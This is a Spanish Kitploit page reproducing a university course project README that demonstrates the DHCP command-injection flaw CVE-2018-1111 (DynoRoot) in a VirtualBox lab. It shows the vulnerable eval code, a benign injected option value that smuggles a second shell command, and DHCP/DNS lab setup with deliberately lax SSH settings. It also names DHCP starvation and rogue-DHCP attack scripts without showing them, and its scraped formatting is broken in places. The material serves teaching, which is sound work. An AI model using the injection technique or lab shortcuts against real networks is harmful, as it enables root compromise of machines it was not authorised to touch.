Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
FEP3370-advanced-ethical-hacking — Explotación de DHCP con DynoRoot (CVE-2018-1111) | Kitploit
Herramientas/GitHubGitHub/baldassarrefe/fep3370-advanced-ethical-hacking
Análisis de VulnerabilidadesExplotaciónSeguridad de RedesPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubbaldassarrefe/fep3370-advanced-ethical-hacking

FEP3370-advanced-ethical-hacking

Explotación de DHCP con DynoRoot (CVE-2018-1111)

Ver RepositorioSitio web
1hace 5 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

DynoRoot CVE-2018-1111

Proyecto final para el curso Advanced Ethical Hacking en KTH, Estocolmo

Este proyecto demuestra una vulnerabilidad conocida de máquinas Fedora y RedHat relacionada con una implementación insegura del lado del cliente del Protocolo de Configuración Dinámica de Host (DHCP). Un servidor DHCP malicioso puede crear ofertas DHCP con una carga maliciosa que se ejecuta en una shell root en la máquina víctima.

La vulnerabilidad es atribuida a Felix Wilhelm y se conoce como CVE-2018-1111 o "DynoRoot".

Tabla de contenidos:

  • Introducción
    • Antecedentes
    • Vulnerabilidad
    • Fuentes
Sesión DHCP (figura de , bajo licencia ). /> Captura de instalación: configuración de red. Captura de instalación: creación de usuario. ```bash ```bash ``` Captura de pantalla de instalación: configuración de red. Captura de pantalla de instalación: creación de usuario.
  • Configuración
    • Requisitos previos
    • Máquina puerta de enlace
    • Atacante
    • Víctima Fedora
  • Realizando el ataque
    • Puerta de enlace
    • Atacante
    • Víctima
    • Análisis
  • Trabajo futuro
  • Créditos
  • Introducción

    Antecedentes

    El Protocolo de Configuración Dinámica de Host (DHCP) es un componente a menudo pasado por alto en sistemas en red. Su función es permitir la configuración dinámica de las máquinas host que se conectan a una red existente. El caso de uso más común es asignar una dirección IP a los hosts recién conectados e informarles de las rutas existentes para acceder a otras redes. Se pueden especificar opciones adicionales, por ejemplo, la dirección de un servidor DNS local y la zona que sirve, o la ubicación de un archivo de arranque.

    Analicemos el protocolo de 4 vías que se sigue cuando un nuevo host quiere unirse a una red después de conectarse físicamente a ella mediante una conexión ethernet o inalámbrica.

    1. El cliente, al carecer de una dirección IP, transmite un mensaje DISCOVER a la red.
    2. Un servidor DHCP a cargo de esa red responde con una OFFER, que contiene: dirección IP, máscara de subred, dirección del router y otras opciones.
    3. El cliente responde con un REQUEST, solicitando oficialmente tomar en arriendo la dirección IP que se ofreció.
    4. El servidor concluye el intercambio con un ACK, indicando que el cliente tiene permitido usar la dirección IP durante un período de tiempo específico.

    Después del intercambio inicial, el cliente puede renovar el arrendamiento simplemente enviando otro mensaje REQUEST. El servidor verificará la existencia de un arrendamiento con la dirección IP y MAC del cliente y responderá con un ACK.

    Wikimedia Commons
    CC BY-SA 4.0

    Algunos aspectos a tener en cuenta:

    • Un cliente también puede saltarse la fase DISCOVER y solicitar inmediatamente una dirección con REQUEST. Esto es común en escenarios en los que el cliente ya se conectó a la red anteriormente y recuerda la dirección anterior. En este caso, el servidor verifica la disponibilidad de la dirección y responde con un ACK, o, en caso de que el arrendamiento no esté disponible, envía un NACK.
    • Al desconectarse, los clientes pueden enviar un mensaje RELEASE para informar al servidor que la dirección ahora está disponible. Sin embargo, esto no es obligatorio según el protocolo y el servidor recolectará periódicamente los arrendamientos vencidos.
    • Cada servidor DHCP gestiona un conjunto limitado de direcciones IP; una vez que todas están asignadas, el servidor no podrá ofrecer arrendamientos a nuevos clientes.
    • Pueden existir múltiples servidores DHCP en la misma red; si un cliente recibe múltiples ofertas, solo aceptará una; los otros servidores observarán la solicitud transmitida y invalidarán la oferta.

    Vulnerabilidad

    La vulnerabilidad se encuentra en /etc/NetworkManager/dispatcher.d/11-dhclient, que es ejecutado por el cliente para analizar y establecer las opciones recibidas mediante DHCP.

    • declare es un comando interno de bash que, cuando se usa sin argumentos, lista todas las variables declaradas.
    • grep filtra todas las variables relacionadas con DHCP.
    • while read opt itera sobre las variables DHCP una por una, realiza algún análisis e imprime una línea como export new_optionname=value para cada opción.
    • Las sentencias export son luego evaluadas por la shell mediante eval.```bash eval "$( declare | LC_ALL=C grep '^DHCP4_[A-Z_]=' | while read opt; do optname=${opt%%=} optname=${optname,,} optname=new_${optname#dhcp4_} optvalue=${opt#*=} echo "export $optname=$optvalue" done )"
    root@kitploit:~
    <!-- omit in toc -->
    #### Operación normal
    En situaciones normales, el código funcionaría perfectamente y analizaría las nuevas opciones DHCP.
    Como ejemplo, el siguiente código:```bash
    DHCP4_OPTION_ONE=42
    DHCP4_OPTION_TWO="bla bla"
    
    declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
      optname=${opt%%=*}
      optname=${optname,,}
      optname=new_${optname#dhcp4_}
      optvalue=${opt#*=}
      echo "export $optname=$optvalue"
    done
    

    Imprimirá estas dos sentencias export para ser evaluadas por eval:```bash export new_option_one=42 export new_option_two='bla bla'

    root@kitploit:~
    <!-- omit in toc -->
    #### Inyección de código
    Sin embargo, debido al inseguro `eval`, es posible inyectar comandos de bash:```bash
    DHCP4_OPTION_ONE="x'& echo Hacked! #"
    DHCP4_OPTION_TWO='bla bla'
    
    eval "$(                             
      declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
        optname=${opt%%=*}
        optname=${optname,,}
        optname=new_${optname#dhcp4_}
        optvalue=${opt#*=}
        echo "export $optname=$optvalue"
      done
    )"
    

    Resultará en la evaluación de echo Hacked!:```text [1] 1541 Hacked!

    root@kitploit:~
    ### Fuentes
    - [Entrada de la base de exploit](https://www.exploit-db.com/exploits/44890)
    - [Anuncio de RedHat](https://access.redhat.com/security/vulnerabilities/3442151)
    - [Publicación en el blog de Tenable](https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble)
    - [Repositorio de GitHub](https://github.com/kkirsche/CVE-2018-1111)
    - [Anuncio en Twitter](https://twitter.com/_fel1x/status/996388421273882626?lang=en)
    
    ## Configuración
    La configuración mínima para demostrar el exploit consiste en solo dos máquinas: la máquina `victim` ejecutando Fedora 28, y una máquina `attacker`. En esta configuración, el atacante simplemente necesita ofrecer un servicio DHCP y esperar la conexión de la víctima.
    
    <figure style="text-align:center">
      <img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network_simple.svg" style="max-width:400px;" width="90%"/>
      <figcaption>Configuración mínima del exploit.</figcaption>
    </figure>
    
    Una configuración más realista colocaría las máquinas en una red privada, donde una tercera máquina, la `gateway`, está configurada como el servidor DHCP benigno y como la puerta de enlace a Internet exterior. En esta configuración, el atacante debe evitar que la víctima se conecte al servidor DHCP legítimo antes de poder realizar el ataque.
    
    <figure style="text-align:center">
      <img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network.svg" style="max-width:800px;" width="90%"/>
      <figcaption>Configuración de red privada con una máquina gateway que actúa como DHCP, enrutador y firewall.</figcaption>
    </figure>
    
    En las siguientes secciones:
    1. Instalar VirtualBox
    2. Crear 3 máquinas virtuales: `gateway`, `attacker` y `victim`
    3. Instalar el SO en las máquinas (usuarios, red y acceso SSH)
    4. Configurar la máquina gateway para alojar el servidor DHCP benigno para la red virtual interna proporcionada por VirtualBox
    5. Instalar las dependencias de Python para el ataque
    
    Para [ir directamente a la acción](#performing-the-attack) y omitir la configuración manual, es posible ejecutar el script [`setup.sh`](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/ansible/setup.sh) en la carpeta `ansible`, que (casi) automáticamente creará las máquinas virtuales y las configurará usando [Ansible Roles](https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html). Solo asegúrate de que Ansible y VirtualBox estén instalados antes de lanzar `setup.sh`.
    
    ### Preliminares
    
    #### Instalar VirtualBox
    Las siguientes instrucciones son de la [guía de instalación oficial](https://www.virtualbox.org/wiki/Downloads).
    
    Agrega esta línea a `/etc/apt/sources.list`:```bash
    deb [arch=amd64] 'https://download.virtualbox.org/virtualbox/debian' bionic contrib
    

    Instala virtualbox y el pack de extensiones:```bash wget -q 'https://www.virtualbox.org/download/oracle_vbox_2016.asc' -O- | sudo apt-key add - wget -q 'https://www.virtualbox.org/download/oracle_vbox.asc' -O- | sudo apt-key add -

    sudo apt-get update sudo apt-get -y install gcc make linux-headers-$(uname -r) dkms virtualbox-6.1

    wget 'https://download.virtualbox.org/virtualbox/6.1.16/Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack' sudo VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack VBoxManage list extpacks

    root@kitploit:~
    #### Instalar Ansible (opcional)
    Desde la [guía oficial para Ubuntu](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html#installing-ansible-on-ubuntu):```bash
    sudo apt update
    sudo apt install software-properties-common
    sudo apt-add-repository --yes --update ppa:ansible/ansible
    sudo apt install ansible
    

    Configuración común de SSH

    En esta sección crearemos las credenciales SSH que usaremos para iniciar sesión en las máquinas. Agregar las entradas de host en el archivo de configuración SSH nos ahorrará algo de escritura más adelante.

    Crea una clave SSH sin frase de contraseña:```bash ssh-keygen -f ~/.ssh/ethhack -t ed25519 -N ''

    root@kitploit:~
    Añade estas entradas a la configuración SSH (`~/.ssh/config`):```
    Host gateway.ethhack
      Port 6001
      User gateway   
    
    Host victim.ethhack
      Port 6002
      User victim
    
    Host attacker.ethhack
      Port 6003
      User attacker
    
    Host *.ethhack
      LogLevel ERROR
      HostName localhost
      IdentityFile ~/.ssh/ethhack
      StrictHostKeyChecking no
      UserKnownHostsFile /dev/null
    

    Máquina puerta de enlace

    Esta máquina aloja el servidor DHCP benigno que gestiona un conjunto de direcciones en la red interna. Está basada en Ubuntu Server 18.04 con el paquete ISC DHCP.

    En un escenario real, esta máquina también actuaría como enrutador (iptables) y cortafuegos (UFW Uncomplicated Firewall) entre las máquinas de la red y el mundo exterior. Posiblemente, también alojaría un servidor DNS para algunos servicios internos (BIND9).

    Creación de la MV

    Crearemos la máquina virtual utilizando las herramientas de línea de comandos de VirtualBox, para que el proceso pueda repetirse lo más rápido posible. De lo contrario, es posible crear la MV a través de la interfaz gráfica ingresando la misma configuración.

    Descargue la ISO de Ubuntu:```bash wget 'https://ftp.lysator.liu.se/ubuntu-releases/18.04.5/ubuntu-18.04.5-live-server-amd64.iso' md5sum --check << EOF fcd77cd8aa585da4061655045f3f0511 ubuntu-18.04.5-live-server-amd64.iso EOF

    root@kitploit:~
    Crear la VM:
    - Interfaz de red 1 conectada a la red NAT predeterminada de VirtualBox
    - Interfaz de red 2 conectada a la red interna `intnet`\
      (la "d" en la dirección MAC significa DHCP)
    - Reenvío de puertos desde un puerto `600x` en el host al puerto SSH en la máquina virtual```bash
    VM_NAME="gateway"
    VRDE_PORT=5001
    SSH_PORT=6001
    VM_MAC='08:00:dd:dd:dd:dd'
    
    VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
    VBoxManage modifyvm "${VM_NAME}" \
      --memory 2048 \
      --acpi on \
      --boot1 dvd \
      --nic1 nat \
      --nic2 'intnet' \
      --macaddress2 "${VM_MAC//:/}" \
      --natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
      --audio none
    
    VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
    VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
    VBoxManage storageattach "${VM_NAME}" \
      --storagectl "IDE Controller" \
      --port 0 \
      --device 0 \
      --type hdd \
      --medium "${VM_NAME}.vdi"
    
    VBoxManage storageattach "${VM_NAME}" \
      --storagectl "IDE Controller" \
      --port 0 \
      --device 1 \
      --type dvddrive \
      --medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"
    

    Si algo sale mal:```bash VBoxManage unregistervm "${VM_NAME}" --delete

    root@kitploit:~
    #### Instalación del SO
    La primera vez que iniciamos la máquina necesitamos un escritorio virtual para seguir los pasos de instalación. Podemos
    iniciar la máquina virtual en modo headless y usar `rdesktop-vrdp` para conectarnos. Si VirtualBox se
    está ejecutando en una computadora de escritorio, podría ser más fácil iniciar la máquina virtual desde la GUI, pero
    este método funcionará incluso con un host remoto de VirtualBox.```bash
    VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
    sleep 5
    rdesktop-vrdp "localhost:${VRDE_PORT}"
    kill %%
    

    Parámetros de configuración para el instalador:

    • Nombre de host gateway
    • Usuario gateway
    • Contraseña gat
    • IP estática 192.168.0.1 en enp0s8
    • Habilitar servidor SSH

    Después de la instalación, apague, retire el iso y deshabilite VRDE:```bash VBoxManage storageattach "${VM_NAME}"
    --storagectl "IDE Controller"
    --port 0
    --device 1
    --type dvddrive
    --medium "none" VBoxManage modifyvm "${VM_NAME}" --vrde off

    root@kitploit:~
    #### Inicio de sesión SSH
    Para facilitar el acceso, podemos instalar la clave SSH creada anteriormente en la máquina `gateway`:```bash
    VBoxHeadless --startvm "${VM_NAME}" &
    sleep 5
    ssh-copy-id -i ~/.ssh/ethhack.pub gateway.ethhack
    ssh gateway.ethhack
    

    sudo systemctl restart isc-dhcp-server

    root@kitploit:~
    Los eventos DHCP se registran en `/var/log/syslog`. 
    Podemos resaltar entradas relevantes con:```bash
    tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'
    

    Si dejamos la gateway encendida durante la instalación de las otras máquinas, recogerán la configuración DHCP automáticamente.

    sudo apt-get install -y bind9 bind9utils bind9-doc sudo sed 's/OPTIONS="-u bind"/OPTIONS="-u bind -4"/' -i /etc/default/bind9 sudo systemctl restart bind9

    root@kitploit:~
    Editar `/etc/bind/named.conf.options`:```bash
    echo '
    options {
      directory "/var/cache/bind";
      allow-query { any; };
      recursion no;
      listen-on { 192.168.0.53; };
    };
    ' | sudo tee /etc/bind/named.conf.options > /dev/null
    

    Editar /etc/bind/named.conf.local:```bash echo '

    Forward zone for 100waystocook.pizza

    zone "100waystocook.pizza" { type master; file "/etc/bind/zones/db.100waystocook.pizza"; };

    Reverse zone for 192.168.0.0/24

    zone "0.168.192.in-addr.arpa" { type master; file "/etc/bind/zones/db.192.168.0"; }; ' | sudo tee /etc/bind/named.conf.local > /dev/null

    root@kitploit:~
    Crea archivos de zona directa e inversa en una carpeta que sea de solo lectura para bind:```bash
    sudo install -o root -g bind -m 755 -d /etc/bind/zones
    
    echo '
    $TTL    86400 ; Clients will cache DNS responses for 1 day
    
    @       IN      SOA     dns.100waystocook.pizza. admin.100waystocook.pizza. (
                      3     ; Serial
                 604800     ; Refresh (1 week)
                  86400     ; Retry   (1 day)
                2419200     ; Expire  (4 weeks)
                 604800     ; Negative Cache TTL (4 weeks)
    )                       ; The values above are only relevant for secondary DNS servers
    
    ; name servers
    @       IN      NS      dns.100waystocook.pizza.
    
    ; 192.168.0.0/24
    dns     IN      A       192.168.0.53
    server  IN      A       192.168.0.1
    www     IN      CNAME   server
    mongo   IN      CNAME   server
    ' | sudo tee /etc/bind/zones/db.100waystocook.pizza > /dev/null
    
    echo '
    $TTL    604800
    @       IN      SOA     dns.100waystocook.pizza. admin.100waystocook.pizza. (
                      4     ; Serial
                 604800     ; Refresh
                  86400     ; Retry
                2419200     ; Expire
                 604800 )   ; Negative Cache TTL
    
    ; name servers
    @     IN      NS      dns.100waystocook.pizza.
    
    ; PTR Records
    1     IN      PTR     server.100waystocook.pizza.  ; 192.168.0.1
    53    IN      PTR     dns.100waystocook.pizza.     ; 192.168.0.53
    ' | sudo tee /etc/bind/zones/db.192.168.0 > /dev/null
    

    Ejecutar comprobaciones y reiniciar:```bash sudo named-checkconf sudo named-checkzone 100waystocook.pizza /etc/bind/zones/db.100waystocook.pizza sudo named-checkzone 0.168.192.in-addr.arpa /etc/bind/zones/db.192.168.0

    sudo systemctl restart bind9

    root@kitploit:~
    Comprueba que funciona```bash
    dig www.100waystocook.pizza
    nslookup www.100waystocook.pizza
    systemd-resolve www.100waystocook.pizza
    

    Configurar el servidor DHCP para actualizar automáticamente las entradas DNS

    • https://wiki.debian.org/DDNS
    • http://www.btteknik.net/?p=143
    • https://dev.to/skorotkiewicz/create-ddns-on-your-current-bind9-server-1d09
    • https://blog.kroko.ro/2009/03/29/running-a-secure-ddns-service-with-bind/
    • https://bind9.readthedocs.io/en/v9_16_5/reference.html#dynamic-update-policies
    • https://www.techrepublic.com/blog/linux-and-open-source/setting-up-a-dynamic-dns-service-part-2-dhcpd/
    Configuración de Bind

    Crear clave simétrica para actualizaciones DNS:```bash KEY_NAME='ddns-key.100waystocook.pizza' KEY_FILE_BIND="${KEY_NAME}.key"

    KEY_FILE="$(dnssec-keygen -a HMAC-SHA512 -b 512 -r /dev/urandom -n USER "${KEY_NAME}")" KEY_FILE_KEY="${KEY_FILE}.key" KEY_FILE_PRI="${KEY_FILE}.private" unset KEY_FILE

    KEY_SECRET="$(cut -f7- -d ' ' "${KEY_FILE_KEY}")"

    cat > "${KEY_FILE_BIND}" << EOF key "${KEY_NAME}" { algorithm HMAC-SHA512; secret "${KEY_SECRET}"; }; EOF

    sudo install --owner root --group bind --mode 0640 "${KEY_FILE_BIND}" /etc/bind/ rm "${KEY_FILE_BIND}"

    root@kitploit:~
    Incluya la clave en `/etc/bind/named.conf.local`:```bash
    echo "
    include '/etc/bind/${KEY_FILE_BIND}';
    
    # Forward zone for 100waystocook.pizza
    zone '100waystocook.pizza' {
      type master;
      file '/var/lib/bind/zones-dyn/db.100waystocook.pizza';
      notify no;
    
      # grant whoever owns the key the permission to update 
      # the A and TXT records for server.100waystocook.pizza.
      update-policy {
        grant ${KEY_NAME} name server.100waystocook.pizza. A TXT;
      };
    };
    
    # Reverse zone for 192.168.0.0/24
    zone '0.168.192.in-addr.arpa' {
      type master;
      file '/var/lib/bind/zones-dyn/db.192.168.0';
      notify no;
    
      # grant whoever owns the key the permission to update 
      # the PTR record for IPs in within the reverse zone
      update-policy {
        grant ${KEY_NAME} zonesub PTR;
      };
    };
    " | tr \' \" | sudo tee /etc/bind/named.conf.local > /dev/null 
    

    Copie el archivo de zona original a una carpeta que sea escribible por bind, elimine el registro server:```bash sudo install -o root -g bind -m 775 -d /var/lib/bind/zones-dyn

    sudo install -o root -g bind -m 664 /etc/bind/zones/db.100waystocook.pizza /var/lib/bind/zones-dyn sudo sed '/^server/d' -i /var/lib/bind/zones-dyn/db.100waystocook.pizza

    sudo install -o root -g bind -m 664 /etc/bind/zones/db.192.168.0 /var/lib/bind/zones-dyn sudo sed '/server.100waystocook.pizza/d' -i /var/lib/bind/zones-dyn/db.192.168.0

    root@kitploit:~
    Ejecutar comprobaciones y reiniciar:```bash
    sudo named-checkconf
    sudo named-checkzone 100waystocook.pizza    /var/lib/bind/zones-dyn/db.100waystocook.pizza
    sudo named-checkzone 0.168.192.in-addr.arpa /var/lib/bind/zones-dyn/db.192.168.0
    
    sudo systemctl restart bind9
    
    Verificaciones manuales

    Verifique que funcione actualizando manualmente la entrada DNS. Mientras realiza lo siguiente, vigile tail -f /var/log/syslog para detectar errores. Al final, elimine las nuevas entradas; de lo contrario, las actualizaciones DHCP fallarán:```bash TTL=60 NEW_NAME='server' NEW_IP='99'

    systemd-resolve "${NEW_NAME}.100waystocook.pizza"

    nsupdate -d -k "${KEY_FILE_PRI}" << EOF server dns.100waystocook.pizza.

    zone 100waystocook.pizza. update add ${NEW_NAME}.100waystocook.pizza. ${TTL} IN A 192.168.0.${NEW_IP}

    zone 0.168.192.in-addr.arpa update add ${NEW_IP}.0.168.192.in-addr.arpa ${TTL} IN PTR ${NEW_NAME}.100waystocook.pizza.

    send EOF

    sudo systemd-resolve --flush-caches systemd-resolve "${NEW_NAME}.100waystocook.pizza" dig +short -x "192.168.0.${NEW_IP}"

    nsupdate -d -k "${KEY_FILE_PRI}" << EOF server dns.100waystocook.pizza.

    zone 100waystocook.pizza. update delete ${NEW_NAME}.100waystocook.pizza. IN A

    zone 0.168.192.in-addr.arpa update delete ${NEW_IP}.0.168.192.in-addr.arpa IN PTR

    send EOF

    root@kitploit:~
    ##### Configuración de DHCP
    Configure DHCP para actualizar automáticamente las entradas de DNS:```bash
    KEY_FILE_DHCP="${KEY_NAME}.key"
    
    # Note: no " in key file
    cat > "${KEY_FILE_DHCP}" << EOF
    key ${KEY_NAME} {
      algorithm HMAC-SHA512;
      secret ${KEY_SECRET};
    };
    EOF
    
    sudo install --owner root --group root --mode 0640 "${KEY_FILE_DHCP}" /etc/dhcp/ddns-keys/
    rm "${KEY_FILE_DHCP}"
    
    echo "
    authoritative;
    
    # https://kb.isc.org/docs/isc-dhcp-44-manual-pages-dhcpdconf
    ddns-updates on;
    ddns-update-style interim;
    ddns-domainname '100waystocook.pizza.';
    ddns-rev-domainname '0.168.192.in-addr.arpa.';
    update-conflict-detection on;
    ddns-guard-id-must-match;
    ignore client-updates;
    
    default-lease-time 120;
    max-lease-time 7200;
    
    include '/etc/dhcp/ddns-keys/${KEY_FILE_DHCP}';
    
    zone 100waystocook.pizza. {
      primary dns.100waystocook.pizza. ;
      key ${KEY_NAME} ;
    }
    
    zone 0.168.192.in-addr.arpa. {
      primary dns.100waystocook.pizza. ;
      key ${KEY_NAME} ;
    }
    
    subnet 192.168.0.0 netmask 255.255.255.0 {
      range 192.168.0.1 192.168.0.20;
      option domain-name-servers 192.168.0.53;
      option domain-name '100waystocook.pizza.';
    }
    " | tr \' \" | sudo tee /etc/dhcp/dhcpd.conf > /dev/null
    
    sudo systemctl restart isc-dhcp-server
    

    La configuración DHCP se puede verificar con sudo dhcpd -t.

    Result

    Cuando se inicia una máquina con nombre de host server, /var/log/syslog debería verse así:```

    DHCP handshake

    dhcpd[1366]: DHCPDISCOVER from 08:00:27:ca:ff:df via enp0s8 dhcpd[1366]: DHCPOFFER on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPREQUEST for 192.168.0.3 (192.168.0.53) from 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8

    DNS update

    named[1283]: client @0x7fef30041e40 192.168.0.53#53293/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': adding an RR at 'server.100waystocook.pizza' A 192.168.0.3 named[1283]: client @0x7fef30041e40 192.168.0.53#53293/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': adding an RR at 'server.100waystocook.pizza' TXT "31c8ab6283bcc3f723245ceab58eb496f0" dhcpd[1366]: Added new forward map from server.100waystocook.pizza. to 192.168.0.3 named[1283]: client @0x7fef30057320 192.168.0.53#36001/key ddns-key.100waystocook.pizza: updating zone '0.168.192.in-addr.arpa/IN': deleting rrset at '3.0.168.192.0.168.192.in-addr.arpa' PTR named[1283]: client @0x7fef30057320 192.168.0.53#36001/key ddns-key.100waystocook.pizza: updating zone '0.168.192.in-addr.arpa/IN': adding an RR at '3.0.168.192.0.168.192.in-addr.arpa' PTR server.100waystocook.pizza. dhcpd[1366]: Added reverse map from 3.0.168.192.0.168.192.in-addr.arpa. to server.100waystocook.pizza.

    DHCP renewal

    dhcpd[1366]: DHCPREQUEST for 192.168.0.3 from 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8

    root@kitploit:~
    Cuando otra máquina con `fedora` como nombre de host se inicia, obtiene una IP pero no se agrega al DNS debido a la `update-policy`:```
    dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8
    dhcpd[1366]: DHCPOFFER on 192.168.0.6 to 08:00:27:4e:d0:d2 (fedora) via enp0s8
    dhcpd[1366]: DHCPREQUEST for 192.168.0.6 (192.168.0.53) from 08:00:27:4e:d0:d2 (fedora) via enp0s8
    dhcpd[1366]: DHCPACK on 192.168.0.6 to 08:00:27:4e:d0:d2 (fedora) via enp0s8
    named[1283]: client @0x7fef30041e40 192.168.0.53#42609/key ddns-key.100waystocook.pizza: 
                 updating zone '100waystocook.pizza/IN': 
                 update failed: rejected by secure update (REFUSED)
    dhcpd[1366]: Unable to add forward map from fedora.100waystocook.pizza. to 192.168.0.6: REFUSED
    

    El problema es que DHCP registrará cualquier máquina con el nombre de host server en el DNS, siempre que sea la primera. Si un atacante intenta conectarse a través de DHCP con un nombre de host server duplicado, DHCP lo notará y se negará a actualizar el DNS.```

    DHCP handshake with attacker

    dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8 dhcpd[1366]: DHCPOFFER on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8 dhcpd[1366]: DHCPREQUEST for 192.168.0.2 (192.168.0.53) from 08:00:27:4e:d0:d2 (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8

    DNS update denied

    named[1283]: client @0x7fef30041e40 192.168.0.53#34663/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': update unsuccessful: server.100waystocook.pizza: 'name not in use' prerequisite not satisfied (YXDOMAIN) named[1283]: client @0x7fef30057320 192.168.0.53#39143/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': update unsuccessful: server.100waystocook.pizza/TXT: 'RRset exists (value dependent)' prerequisite not satisfied (NXRRSET) dhcpd[1366]: Forward map from server.100waystocook.pizza. to 192.168.0.2 FAILED: Has an address record but no DHCID, not mine.

    root@kitploit:~
    Pero si el `server` legítimo se cae por algún tiempo, su concesión se libera y los registros se eliminan.
    Entonces un atacante puede simplemente colarse proporcionando `server` como nombre de host durante el intercambio inicial de DHCP.```
    # DHCP removes DNS records
    named[1283]: client @0x7fef30041e40 192.168.0.53#43939/key ddns-key.100waystocook.pizza: 
                 updating zone '100waystocook.pizza/IN': deleting an RR at server.100waystocook.pizza A
    dhcpd[1366]: Removed forward map from server.100waystocook.pizza. to 192.168.0.3
    named[1283]: client @0x7fef30057320 192.168.0.53#46231/key ddns-key.100waystocook.pizza: 
                 updating zone '100waystocook.pizza/IN': deleting an RR at server.100waystocook.pizza TXT
    named[1283]: client @0x7fef30041e40 192.168.0.53#54069/key ddns-key.100waystocook.pizza: 
                 updating zone '0.168.192.in-addr.arpa/IN': deleting rrset at '3.0.168.192.0.168.192.in-addr.arpa' PTR
    dhcpd[1366]: Removed reverse map on 3.0.168.192.0.168.192.in-addr.arpa.
    
    # Attacker gets and IP and a DNS entry
    dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8
    dhcpd[1366]: DHCPOFFER on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
    dhcpd[1366]: DHCPREQUEST for 192.168.0.2 (192.168.0.53) from 08:00:27:4e:d0:d2 (server) via enp0s8
    dhcpd[1366]: DHCPACK on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
    named[1283]: client @0x7fef30057320 192.168.0.53#56317/key ddns-key.100waystocook.pizza: 
                 updating zone '100waystocook.pizza/IN': 
                 adding an RR at 'server.100waystocook.pizza' A 192.168.0.2
    named[1283]: client @0x7fef30057320 192.168.0.53#56317/key ddns-key.100waystocook.pizza: 
                 updating zone '100waystocook.pizza/IN': 
                 adding an RR at 'server.100waystocook.pizza' TXT "319dc6047844ea45fdc56373d08413401e"
    dhcpd[1366]: Added new forward map from server.100waystocook.pizza. to 192.168.0.2
    named[1283]: client @0x7fef30041e40 192.168.0.53#51689/key ddns-key.100waystocook.pizza: 
                 updating zone '0.168.192.in-addr.arpa/IN': 
                 deleting rrset at '2.0.168.192.0.168.192.in-addr.arpa' PTR
    named[1283]: client @0x7fef30041e40 192.168.0.53#51689/key ddns-key.100waystocook.pizza: 
                 updating zone '0.168.192.in-addr.arpa/IN': 
                 adding an RR at '2.0.168.192.0.168.192.in-addr.arpa' PTR server.100waystocook.pizza.
    dhcpd[1366]: Added reverse map from 2.0.168.192.0.168.192.in-addr.arpa. to server.100waystocook.pizza.
    

    -->

    apt-get install -y build-essential autoconf git clone https://github.com/nmap/nmap pushd nmap git checkout 0de714 ./configure make make install popd

    nmap --script broadcast-dhcp-discover --script-args mac=random,timeout=2 -e enp0s8 nmap --script dhcp-discover --script-args dhcptype=DHCPRELEASE,mac=08:00:27:EF:5F:BA -e enp0s8

    root@kitploit:~
    -->
    [Entorno Conda](https://docs.conda.io/en/latest/) con Scapy:```bash
    sudo su
    cd
    wget 'https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh'
    chmod u+x Miniconda3-latest-Linux-x86_64.sh
    ./Miniconda3-latest-Linux-x86_64.sh -b -p ./miniconda
    ./miniconda/bin/conda init
    source .bashrc
    
    conda create -y -n dynoroot python=3.6
    conda activate dynoroot
    pip install 'scapy[complete]'
    

    A continuación, obtendremos los dos scripts de ataque de GitHub:

    • DHCP starvation
      Este script inundará el DHCP legítimo con solicitudes falsas, agotando el conjunto de direcciones disponibles. ```bash git clone 'https://github.com/baldassarreFe/FEP3370-advanced-ethical-hacking'
      root@kitploit:~
    • Rogue DHCP
